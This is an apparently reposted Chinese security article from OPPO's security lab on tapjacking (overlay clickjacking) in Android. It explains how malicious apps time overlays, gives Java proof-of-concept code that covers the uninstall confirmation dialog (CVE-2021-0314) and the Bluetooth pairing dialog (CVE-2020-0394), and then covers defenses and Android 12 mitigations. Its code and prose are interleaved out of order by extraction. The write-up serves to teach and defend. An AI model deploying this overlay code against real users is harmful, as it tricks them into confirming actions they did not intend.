搜索

[27874] 2021-07-09_不可忽视的威胁：Android中的点击劫持攻击

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-19
2021-07-09_不可忽视的威胁：Android中的点击劫持攻击 不 可 忽 视 的 威 胁 ： A n d r o i d 中 的 点 击 劫 持 攻 击 原 创   h e e e e e n   O P P O 安 全 应 急 响 应 中 心   2 0 2 1 - 0 7 - 0 9 收 录 于 话 题 # 子 午 实 验 室 专 辑   , 1 0 # 不 断 学 习   不 断 成 长   , 1 8 # a n d r o i d   , 2 以 上 文 章 来 自 O P P O 子 午 互 联 网 安 全 实 验 室 【 h e e e e e n 】 的 投 稿 ， 也 欢 迎 广 大 朋 友 继 续 投 稿 ， 详 情 可 点 击 击 O S R C 重 金 征 集 文 稿 ！ ！ ！ 了 解 ~ ~ 温 馨 提 示 ： 建 议 投 稿 的 朋 友 尽 量 用 M a r k d o w n 格 式 ， 特 别 是 包 含 大 量 代 码 的 文 章 0 1 .   简 介 简 介 点 击 劫 持 T a p j a c k i n g ， 是 一 种 欺 骗 用 户 进 行 点 击 的 攻 击 技 术 ， 可 存 在 于 任 何 操 作 系 统 和 浏 览 器 之 中 ， 尽 管 原 理 简 单 ， 对 于 普 通 用 户 危 害 却 极 大 ， 是 一 种 容 易 忽 视 的 安 全 威 胁 。 A n d r o i d 中 的 点 击 劫 持 原 理 如 图 1 所 示 ， 当 出 现 重 要 的 、 需 要 进 行 用 户 确 认 的 安 全 对 话 框 时 ， 申 请 悬 浮 窗 权 限 的 恶 意 A P P 在 受 害 A P P 之 上 进 行 部 分 覆 盖 ， 显 示 一 个 虚 假 的 界 面 ， 隐 藏 了 与 安 全 相 关 的 重 要 提 示 信 息 ， 但 并 未 覆 盖 正 常 A P P 原 有 的 按 钮 ， 诱 骗 用 户 进 行 错 误 地 点 击 操 作 ， 点 击 事 件 结 果 最 终 传 递 到 受 害 A P P ， 造 成 严 重 的 安 全 后 果 。 图 1   点 击 劫 持 原 理 在 A n d r o i d 系 统 当 中 ， 要 能 够 在 其 他 A P P 的 界 面 之 上 显 示 ， 恶 意 A P P 首 先 需 要 申 请 悬 浮 窗 权 限 S Y S T E M _ A L E R T _ W I N D O W ， 该 权 限 允 许 普 通 A P P 使 用 W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ A P P L I C A T I O N _ O V E R L A Y 标 志 位 ， 在 别 的 A P P 之 上 显 示 。 按 照 A n d r o i d 的 设 计 ， 该 权 限 仅 供 很 少 的 A P P 使 用 ， 当 T a r g e t   S D K   大 于 等 于 2 3 时 ， 还 需 要 经 过 用 户 手 动 同 意 （ 这 也 意 味 着 A P P   T a r g e t   S D K   <   2 3 时 是 默 认 开 启 的 ） ， 曾 有 一 段 时 间 通 过 G o o g l e P l a y 上 安 装 的 A P P ， 若 申 请 S Y S T E M _ A L E R T _ W I N D O W 权 限 ， 在 安 装 后 均 默 认 开 启 。 该 权 限 也 经 常 被 现 实 中 的 恶 意 A P P 滥 用 [ 1 ] 。 在 具 有 悬 浮 窗 权 限 之 后 ， 恶 意 A P P 还 必 须 寻 找 一 个 劫 持 的 时 机 ， 判 断 当 前 显 示 的 A c t i v i t y 或 者 F r a g m e n t 是 否 是 重 要 的 安
全 确 认 对 话 框 ， 仅 该 时 机 实 施 点 击 劫 持 ， 否 则 达 不 到 应 有 的 攻 击 效 果 。 而 点 击 劫 持 时 机 的 选 取 ， 则 成 为 点 击 劫 持 攻 击 的 关 键 问 题 。 0 2 .   劫 持 时 机 劫 持 时 机 2 . 1   获 取 顶 端 包 名 获 取 顶 端 包 名 这 是 一 种 粗 粒 度 的 点 击 劫 持 时 机 寻 找 方 法 ， 主 要 方 法 是 启 动 服 务 ， 不 断 监 听 当 前 在 前 台 的 应 用 ， 获 取 顶 端 包 名 ， 一 旦 检 测 到 目 标 顶 端 包 名 存 在 ， 即 启 动 恶 意 A c t i v i t y 进 行 覆 盖 ， 示 例 代 码 如 下 ： 采 用 的 方 法 包 括 ： •   g e t R u n n i n g T a s k s ： 获 取 目 前 运 行 的 A c t i v i t y 栈 信 息 • g e t R u n n i n g A p p P r o c e s s e s ： 获 取 当 前 运 行 A P P 进 程 信 息 采 用 下 面 代 码 进 行 测 试 g e t R u n n i n g T a s k ， 该 方 法 在 A n d r o i d   5 之 后 失 效 ， 在 A n d r o i d   1 1 上 测 试 ， 只 能 获 取 应 用 本 身 以 及 应 用 退 到 后 台 时 的 包 名 ( L a u n c h e r 应 用 的 包 名 ） 。 同 样 ， g e t R u n n i n g A p p P r o c e s s e s 也 只 能 获 取 应 用 自 身 的 包 名 。 因 此 使 用 上 述 方 法 进 行 点 击 劫 持 攻 击 ， 在 当 前 A n d r o i d   1 1 中 已 经 失 效 ， 也 不 会 被 现 实 中 的 攻 击 者 采 纳 。 S t r i n g   p k g N a m e   =   " c o m . a n d r o i d . c e r t i n s t a l l e r " ;   / /   示 例 ， 用 证 书 安 装 程 序 作 为 目 标 包 名   w h i l e   ( t r u e )   {           i f ( g e t T o p P a c k a g e ( ) )   {     / /   如 果 检 测 到 目 标 包 名 ， 则 进 行 覆 盖 攻 击                   I n t e n t   i   =   n e w   I n t e n t ( M a i n A c t i v i t y . t h i s ,   O v e r l a y A c t i v i t y . c l a s s ) ;                   i . a d d F l a g s ( I n t e n t . F L A G _ A C T I V I T Y _ N E W _ T A S K ) ;                   s t a r t A c t i v i t y ( i ) ;                   M a i n A c t i v i t y . t h i s . f i n i s h ( ) ;                                                   }   } p r i v a t e   b o o l e a n   g e t T o p P a c k a g e ( )   {                 A c t i v i t y M a n a g e r   a m   =   ( A c t i v i t y M a n a g e r ) m C o n t e x t . g e t S y s t e m S e r v i c e ( A C T I V I T Y _ S E R V I C E ) ;                 C o m p o n e n t N a m e   c n   =   a m . g e t R u n n i n g T a s k s ( 1 ) . g e t ( 0 ) . t o p A c t i v i t y ;                 S t r i n g   t o p P a c k a g e   =   c n . g e t P a c k a g e N a m e ( ) ;                 L o g . d ( T A G ,   " t o p P a c k a g e :   "   +   t o p P a c k a g e ) ;                 i f   ( p k g N a m e . c o n t a i n s ( t o p P a c k a g e ) )   {                         r e t u r n   t r u e ;                 }                 r e t u r n   f a l s e ; } A c t i v i t y M a n a g e r   a c t i v i t y M a n a g e r   =   ( A c t i v i t y M a n a g e r )   g e t S y s t e m S e r v i c e ( C o n t e x t . A C T I V I T Y _ S E R V I C E ) ; L i s t < A c t i v i t y M a n a g e r . R u n n i n g A p p P r o c e s s I n f o >   p r o c e s s I n f o   =   a c t i v i t y M a n a g e r . g e t R u n n i n g A p p P r o c e s s e s ( ) ;
2 . 2   主 动 请 求 、 主 动 主 动 请 求 、 主 动 劫 持 劫 持 恶 意 A P P 能 够 主 动 控 制 劫 持 的 时 机 ， 可 以 主 动 请 求 敏 感 操 作 ， 在 显 示 用 户 确 认 对 话 框 的 同 时 ， 直 接 在 上 悬 浮 一 个 虚 假 的 对 话 框 。 A n d r o i d 系 统 近 期 修 复 的 一 系 列 漏 洞 ， 均 属 于 这 种 类 型 ： •   C V E - 2 0 2 0 - 0 3 0 6 ： 蓝 牙 发 现 请 求 确 认 框 覆 盖 •   C V E - 2 0 2 0 - 0 3 9 4 ： 蓝 牙 配 对 对 话 框 覆 盖 •   C V E - 2 0 2 0 - 0 0 1 5 ： 证 书 安 装 对 话 框 覆 盖 •   C V E - 2 0 2 1 - 0 3 1 4 ： 卸 载 确 认 对 话 框 覆 盖 •   C V E - 2 0 2 1 - 0 4 8 7   :   日 历 调 试 对 话 框 覆 盖 漏 洞 案 例 ： 漏 洞 案 例 ： C V E - 2 0 2 1 - 0 3 1 4 下 面 我 们 以 C V E - 2 0 2 1 - 0 3 1 4 为 例 ， 说 明 这 种 漏 洞 的 原 理 。 漏 洞 位 于 框 架 代 码 f r a m e w o r k s / b a s e / p a c k a g e s / P a c k a g e I n s t a l l e r / s r c / c o m / a n d r o i d / p a c k a g e i n s t a l l e r / U n i n s t a l l e r A c t i v i t y . j a v a ， U n i n s t a l l e r A c t i v i t y 可 以 接 受 外 部 I n t e n t 传 入 ， 并 给 用 户 提 供 一 个 卸 载 确 认 的 确 认 框 。 例 如 ， 使 用 下 列 代 码 将 请 求 卸 载 包 名 a n d r o i d ， 并 展 现 如 下 对 话 框 图 2   请 求 卸 载 的 正 常 对 话 框 若 恶 意 A P P 已 被 授 予 S Y S T E M _ A L E R T _ W I N D O W 权 限 ， 那 么 可 以 在 请 求 卸 载 的 同 时 ， 展 现 一 个 虚 假 的 对 话 框 覆 盖 在 正 常 的 对 话 框 之 上 。 这 个 覆 盖 功 能 可 以 实 现 为 一 个 服 务 ， 如 F l o a t i n g B u t t o n S e r v i c e ， 包 括 以 下 内 容 ： （ 1 ） 在 F l o a t i n g B u t t o n S e r v i c e 的 构 造 函 数 中 设 置 虚 假 对 话 框 的 布 局 参 数 I n t e n t   i n t e n t   =   n e w   I n t e n t ( ) ; i n t e n t . s e t C o m p o n e n t ( n e w   C o m p o n e n t N a m e ( " c o m . g o o g l e . a n d r o i d . p a c k a g e i n s t a l l e r " ,   " "   +                   " c o m . a n d r o i d . p a c k a g e i n s t a l l e r . U n i n s t a l l e r A c t i v i t y " ) ) ; i n t e n t . s e t D a t a ( U r i . p a r s e ( " p a c k a g e : a n d r o i d " ) ) ;   / /   p u t   a r b i t r a r y   u n s t a l l a b l e   p a c k a g e   n a m e   h e r e s t a r t A c t i v i t y ( i n t e n t ) ;   L a y o u t P a r a m s   w i n d o w M a n a g e r   =   ( W i n d o w M a n a g e r )   g e t S y s t e m S e r v i c e ( W I N D O W _ S E R V I C E ) ;                 l a y o u t P a r a m s   =   n e w   W i n d o w M a n a g e r . L a y o u t P a r a m s ( ) ;                 i f   ( B u i l d . V E R S I O N . S D K _ I N T   > =   B u i l d . V E R S I O N _ C O D E S . O )   {                         l a y o u t P a r a m s . t y p e   =   W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ A P P L I C A T I O N _ O V E R L A Y ;                 }   e l s e   {
注 意 F L A G _ W A T C H _ O U T S I D E _ T O U C H 参 数 ， 此 参 数 可 用 于 监 听 用 户 在 对 话 框 之 外 的 点 击 ， 可 用 于 虚 假 对 话 框 的 退 出 时 机 。 （ 2 ） 使 用 按 钮 来 作 为 对 话 框 显 示 ， 服 务 启 动 时 显 示 对 话 框 ， 服 务 停 止 时 销 毁 对 话 框 （ 3 ） 监 听 对 话 框 的 退 出 时 机 ， 一 旦 在 对 话 框 之 外 有 点 击 事 件 ， 即 退 出                         l a y o u t P a r a m s . t y p e   =   W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E _ P H O N E ;                 }                 l a y o u t P a r a m s . f o r m a t   =   P i x e l F o r m a t . T R A N S L U C E N T ;                 l a y o u t P a r a m s . g r a v i t y   =   G r a v i t y . L E F T   |   G r a v i t y . T O P ;                 l a y o u t P a r a m s . f l a g s   =   W i n d o w M a n a g e r . L a y o u t P a r a m s . F L A G _ N O T _ T O U C H _ M O D A L   |                       W i n d o w M a n a g e r . L a y o u t P a r a m s . F L A G _ N O T _ F O C U S A B L E   |   W i n d o w M a n a g e r . L a y o u t P a r a m s . F L A G _ W A T C H _ O U T S I D E _ T O U C H ;                 l a y o u t P a r a m s . w i d t h   =   9 2 0 ;                 l a y o u t P a r a m s . h e i g h t   =   3 0 0 ;                 l a y o u t P a r a m s . x   =   8 0 ;                 l a y o u t P a r a m s . y   =   8 0 0 ;     @ O v e r r i d e         p u b l i c   i n t   o n S t a r t C o m m a n d ( I n t e n t   i n t e n t ,   i n t   f l a g s ,   i n t   s t a r t I d )   {                 s h o w F l o a t i n g W i n d o w ( ) ;                 r e t u r n   s u p e r . o n S t a r t C o m m a n d ( i n t e n t ,   f l a g s ,   s t a r t I d ) ;         }         @ O v e r r i d e         p u b l i c   v o i d   o n D e s t r o y ( )   {                 i f   ( w i n d o w M a n a g e r   ! =   n u l l   & &   b u t t o n   ! =   n u l l )   {                         w i n d o w M a n a g e r . r e m o v e V i e w ( b u t t o n ) ;                 }                 s u p e r . o n D e s t r o y ( ) ;         }         p r i v a t e   v o i d   s h o w F l o a t i n g W i n d o w ( )   {                 i f   ( S e t t i n g s . c a n D r a w O v e r l a y s ( t h i s ) )   {                         b u t t o n   =   n e w   B u t t o n ( g e t A p p l i c a t i o n C o n t e x t ( ) ) ;                         b u t t o n . s e t T e x t ( " O v e r l a y   U n i n s t a l l e r A c t i v i t y ' s   T e x t   t o   S h o w   S o m e t h i n g   E l s e .   "   +                                         " Y o u r   a l a r m   w i l l   r i n g   i n   5   m i n u t e s " ) ;   / /   欺 骗 内 容                         b u t t o n . s e t B a c k g r o u n d C o l o r ( C o l o r . W H I T E ) ;                         w i n d o w M a n a g e r . a d d V i e w ( b u t t o n ,   l a y o u t P a r a m s ) ;                         b u t t o n . s e t O n T o u c h L i s t e n e r ( n e w   F l o a t i n g O n T o u c h L i s t e n e r ( ) ) ;                 }         }         p r i v a t e   c l a s s   F l o a t i n g O n T o u c h L i s t e n e r   i m p l e m e n t s   V i e w . O n T o u c h L i s t e n e r   {                 p r i v a t e   i n t   x ;                 p r i v a t e   i n t   y ;                 @ O v e r r i d e                 p u b l i c   b o o l e a n   o n T o u c h ( V i e w   v i e w ,   M o t i o n E v e n t   e v e n t )   {                         s w i t c h   ( e v e n t . g e t A c t i o n ( ) )   {                                 c a s e   M o t i o n E v e n t . A C T I O N _ O U T S I D E :
恶 意 A P P 在 请 求 卸 载 的 同 时 ， 启 动 F l o a t i n g B u t t o n S e r v i c e 使 用 欺 骗 内 容 覆 盖 在 正 常 的 对 话 框 之 上 。 图 3   请 求 卸 载 的 虚 假 对 话 框 注 意 虚 假 对 话 框 其 实 只 覆 盖 了 正 常 对 话 框 中 除 按 钮 以 外 的 其 他 部 分 ， 下 面 的 按 钮 还 是 属 于 P a c k a g e I n s t a l l e r 应 用 的 ， 当 用 户 点 击 O K 时 ， 其 实 已 经 卸 载 了 恶 意 A P P 请 求 卸 载 的 p a c k a g e ， 而 此 时 恶 意 A P P 也 已 经 监 听 到 了 A C T I O N _ O U T S I D E 事 件 ， 于 是 主 动 退 出 。 在 整 个 欺 骗 过 程 中 ， 用 户 难 以 察 觉 自 己 其 实 已 经 确 认 了 一 次 卸 载 操 作 。 2 . 3   监 听 对 话 框 出 现 的 其 他 信 息 监 听 对 话 框 出 现 的 其 他 信 息 除 了 ” 主 动 请 求 、 主 动 劫 持 “ 这 种 恶 意 A P P 可 以 主 动 控 制 劫 持 时 机 的 情 况 ， 恶 意 A P P 还 可 以 监 听 用 户 确 认 对 话 框 出 现 的 其 他 时 机 ， 例 如 有 特 定 的 广 播 事 件 、 特 定 的 通 知 ， 在 时 机 出 现 的 时 候 进 行 劫 持 。 例 如 ， 在 重 要 对 话 框 出 现 时 ， 将 出 现 一 个 通 知 ， 恶 意 A P P 可 以 监 听 通 知 该 通 知 的 出 现 ， 通 过 实 现 一 个 N o t i f i c a t i o n L i s t e n e r S e r v i c e ， 捕 捉 特 定 的 通 知 ， 并 启 动 服 务 ， 在 原 有 对 话 框 之 上 悬 浮 一 个 欺 骗 的 对 话 框                                         w i n d o w M a n a g e r . r e m o v e V i e w ( b u t t o n ) ;                                 d e f a u l t :                                         b r e a k ;                         }                         r e t u r n   f a l s e ;                 }         } } I n t e n t   i n t e n t   =   n e w   I n t e n t ( ) ; i n t e n t . s e t C o m p o n e n t ( n e w   C o m p o n e n t N a m e ( " c o m . g o o g l e . a n d r o i d . p a c k a g e i n s t a l l e r " ,   " "   +                   " c o m . a n d r o i d . p a c k a g e i n s t a l l e r . U n i n s t a l l e r A c t i v i t y " ) ) ; i n t e n t . s e t D a t a ( U r i . p a r s e ( " p a c k a g e : a n d r o i d " ) ) ;   / /   p u t   a r b i t r a r y   u n s t a l l a b l e   p a c k a g e   n a m e   h e r e s t a r t A c t i v i t y ( i n t e n t ) ; I n t e n t   i n t e n t 2   =   n e w   I n t e n t ( M a i n A c t i v i t y . t h i s ,   F l o a t i n g B u t t o n S e r v i c e . c l a s s ) ; s t a r t S e r v i c e ( i n t e n t 2 ) ; p u b l i c   c l a s s   L i s t e n S e r v i c e   e x t e n d s   N o t i f i c a t i o n L i s t e n e r S e r v i c e   {         p u b l i c   v o i d   o n N o t i f i c a t i o n P o s t e d ( S t a t u s B a r N o t i f i c a t i o n   s b n )   {                 i f   ( ! s b n . g e t P a c k a g e N a m e ( ) . e q u a l s ( T A R G E T _ P A C K A G E ) )   r e t u r n ;   / /   监 听 特 定 包 名                 N o t i f i c a t i o n   n o t i f i c a t i o n   =   s b n . g e t N o t i f i c a t i o n ( ) ;                 i f   ( n o t i f i c a t i o n . e x t r a s . g e t ( " a n d r o i d . t i t l e " ) . e q u a l s ( T A R G E T _ H I N T ) )   {   / /   监 听 特 定 通 知
漏 洞 案 例 ： 漏 洞 案 例 ： C V E - 2 0 2 0 - 0 3 9 4 C V E - 2 0 2 0 - 0 3 9 4   即 为 这 种 情 况 ， 当 蓝 牙 配 对 发 生 时 ， 蓝 牙 A P P 会 发 送 一 个 通 知 ， 用 户 点 击 通 知 以 后 就 会 出 现 蓝 牙 配 对 对 话 框 ， 供 用 户 确 认 或 取 消 恶 意 A P P 的 L i s t e n S e r v i c e 可 以 监 听 此 通 知 的 出 现 ， 在 通 知 出 现 的 同 时 ， 触 发 通 知 、 弹 出 蓝 牙 配 对 对 话 框 ， 并 立 即 启 动 F l o a t i n g B u t t o n S e r v i c e 覆 盖 ， 攻 击 效 果 与 1 . 2 章 节 类 似 ， 最 终 欺 骗 用 户 完 成 蓝 牙 配 对 。 0 3 .   点 击 劫 持 防 范 点 击 劫 持 防 范 3 . 1   系 统 应 用 修 复 系 统 应 用 修 复 A n d r o i d   系 统 应 用 可 以 申 请 a n d r o i d . p e r m i s s i o n . H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S 权 限 ， 并 使 用 S Y S T E M _ F L A G _ H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S   L a y o u t P a r a m s 参 数 对 此 类 漏 洞 进 行 修 复 ， 使 用 该 参 数 后 。 三 方 应 用 即 使 应 用 S Y S T E M _ A L E R T _ W I N D O W 权 限 ， 也 无 法 进 行 覆 盖 。 修 复 方 法 是 在 o n C r e a t e 方 法 中 添 加 如 下 语 句 ： g e t W i n d o w ( ) . a d d S y s t e m F l a g s ( S Y S T E M _ F L A G _ H I D E _ N O N _ S Y S T E M _ O V E R L A Y _ W I N D O W S ) ; 上 述 A n d r o i d 系 统 中 的 点 击 劫 持 漏 洞 ， 大 多 采 用 这 种 方 法 进 行 修 复 。 3 . 2   普 通 应 用 修 复 普 通 应 用 修 复 普 通 应 用 针 对 重 要 对 话 框 的 V i e w ， 传 入 t r u e 到 如 下 方 法 p u b l i c   v o i d   s e t F i l t e r T o u c h e s W h e n O b s c u r e d   ( b o o l e a n   e n a b l e d ) 或 者 设 置 V i e w 的 布 局 文 件 属 性 a n d r o i d : f i l t e r T o u c h e s W h e n O b s c u r e d 为 t r u e ， 均 可 以 防 止 点 击 劫 持 攻 击 。 此 时 ， 如 果 防 御 对 话 框 被 其 他 恶 意 窗 体 （ 包 括 t o a s t 、 d i a l o g 或 w i n d o w ） 覆 盖 时 ， 所 有 的 输 入 事 件 将 会 被 过 滤 ， 防 御 对 话 框 不 再 会 对 点                 i f   ( n o t i f i c a t i o n . e x t r a s . g e t ( " a n d r o i d . t i t l e " ) . e q u a l s ( T A R G E T _ H I N T ) )   {   / /   监 听 特 定 通 知                         L o g . d ( " s b n " ,   " t a r g e t   n o t i f i c a t i o n   r e c e i v e d ! " ) ;                         s t a r t O v e r l a y S e r v i c e ( ) ;   / /   启 动 服 务 ， 进 行 劫 持                 }         } p a c k a g e s / a p p s / S e t t i n g s / s r c / c o m / a n d r o i d / s e t t i n g s / b l u e t o o t h / B l u e t o o t h P a i r i n g S e r v i c e . j a v a   N o t i f i c a t i o n . A c t i o n   p a i r A c t i o n   =   n e w   N o t i f i c a t i o n . A c t i o n . B u i l d e r ( 0 ,                                 r e s . g e t S t r i n g ( R . s t r i n g . b l u e t o o t h _ d e v i c e _ c o n t e x t _ p a i r _ c o n n e c t ) ,   p a i r I n t e n t ) . b u i l d ( ) ;                 N o t i f i c a t i o n . A c t i o n   d i s m i s s A c t i o n   =   n e w   N o t i f i c a t i o n . A c t i o n . B u i l d e r ( 0 ,                                 r e s . g e t S t r i n g ( a n d r o i d . R . s t r i n g . c a n c e l ) ,   d i s m i s s I n t e n t ) . b u i l d ( ) ;                 b u i l d e r . s e t C o n t e n t T i t l e ( r e s . g e t S t r i n g ( R . s t r i n g . b l u e t o o t h _ n o t i f _ t i t l e ) )                                 . s e t C o n t e n t T e x t ( r e s . g e t S t r i n g ( R . s t r i n g . b l u e t o o t h _ n o t i f _ m e s s a g e ,   n a m e ) )                                 . s e t C o n t e n t I n t e n t ( p a i r I n t e n t )                                 . s e t D e f a u l t s ( N o t i f i c a t i o n . D E F A U L T _ S O U N D )                                 . s e t C o l o r ( g e t C o l o r ( c o m . a n d r o i d . i n t e r n a l . R . c o l o r . s y s t e m _ n o t i f i c a t i o n _ a c c e n t _ c o l o r ) )                                 . a d d A c t i o n ( p a i r A c t i o n )                                 . a d d A c t i o n ( d i s m i s s A c t i o n ) ;
击 事 件 进 行 响 应 ， 也 就 防 止 了 点 击 劫 持 。 另 外 一 种 方 法 是 重 写 V i e w 的 o n F i l t e r T o u c h E v e n t F o r S e c u r i t y 方 法 ， 在 该 方 法 中 可 以 检 测 其 他 A P P 覆 盖 的 情 况 3 . 3   A n d r o i d   1 2   对 点 击 劫 持 的 缓 解 对 点 击 劫 持 的 缓 解 尽 管 S Y S T E M _ A L E R T _ W I N D O W 权 限 如 此 敏 感 ， A n d r o i d 系 统 似 乎 也 很 难 将 其 禁 用 ， 一 直 在 业 务 需 求 和 安 全 隐 私 之 间 进 行 艰 难 的 平 衡 。 在 点 击 劫 持 缓 解 方 面 ， A n d r o i d   1 2 将 默 认 开 启 s e t F i l t e r T o u c h e s W h e n O b s c u r e d 为 t r u e [ 3 ] ， 在 有 其 他 A P P 覆 盖 的 情 况 下 ， 自 动 阻 止 A P P 接 受 输 入 事 件 。 除 非 出 现 以 下 例 外 情 况 ： •   被 自 己 覆 盖 ： A P P 被 自 己 的 窗 体 覆 盖 •   被 受 信 任 窗 体 覆 盖 ： 包 括 辅 助 服 务 窗 体 、 输 入 法 窗 体 和 A s s i s t a n t 窗 体 •   可 见 度 不 高 的 窗 体 ： 安 卓 认 为 这 样 的 窗 体 难 以 展 现 欺 骗 内 容 。 –   不 可 见 窗 体 ： 窗 体 的 r o o t   v i e w   为 G O N E 或 者 I N V I S I B L E –   完 全 透 明 的 窗 体 ： a l p h a 属 性 设 置 为 0 . 0 –   半 透 明 的 系 统 a l e r t 窗 体 由 于 A n d r o i d   1 2 对 点 击 劫 持 的 系 统 性 缓 解 ， A n d r o i d   V R P 也 同 步 对 规 则 进 行 了 调 整 [ 4 ] ， 滥 用 S Y S T E M _ A L E R T _ W I N D O W 权 限 的 点 击 劫 持 漏 洞 也 将 不 在 C V E 和 奖 励 考 虑 范 围 之 内 。 但 究 竟 防 御 效 果 如 何 ， 有 待 进 一 步 研 究 证 实 。 参 考 参 考 [ 1 ] h t t p s : / / b l o g . n v i s o . e u / 2 0 2 1 / 0 5 / 1 1 / n e w - m a l w a r e - f a m i l y - n o w - a l s o - t a r g e t s - b e l g i a n - f i n a n c i a l - a p p s / [ 2 ] W i n d o w M a n a g e r . L a y o u t P a r a m s . T Y P E A P P L I C A T I O N O V E R L A Y [ 3 ] h t t p s : / / d e v e l o p e r . a n d r o i d . g o o g l e . c n / a b o u t / v e r s i o n s / 1 2 / b e h a v i o r - c h a n g e s - a l l # u n t r u s t e d - t o u c h - e v e n t s [ 4 ] h t t p s : / / w w w . g o o g l e . c o m / a b o u t / a p p s e c u r i t y / a n d r o i d - r e w a r d s / 最 新 动 态 最 新 动 态 2 0 2 1   “ O P P O 安 全 A I 挑 战 赛 ” 初 赛 正 式 启 动 揭 秘 潜 藏 在 你 手 机 里 的 “ 广 告 大 师 ” 招 聘 专 场 - 总 有 一 个 岗 位 适 合 你 ！ 红 蓝 对 抗 之 A T T & C K 框 架 入 门 和 解 读 揭 秘 Q U I C 的 性 能 与 安 全 O P P O 互 联 网 D e v S e c O p s 实 践

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理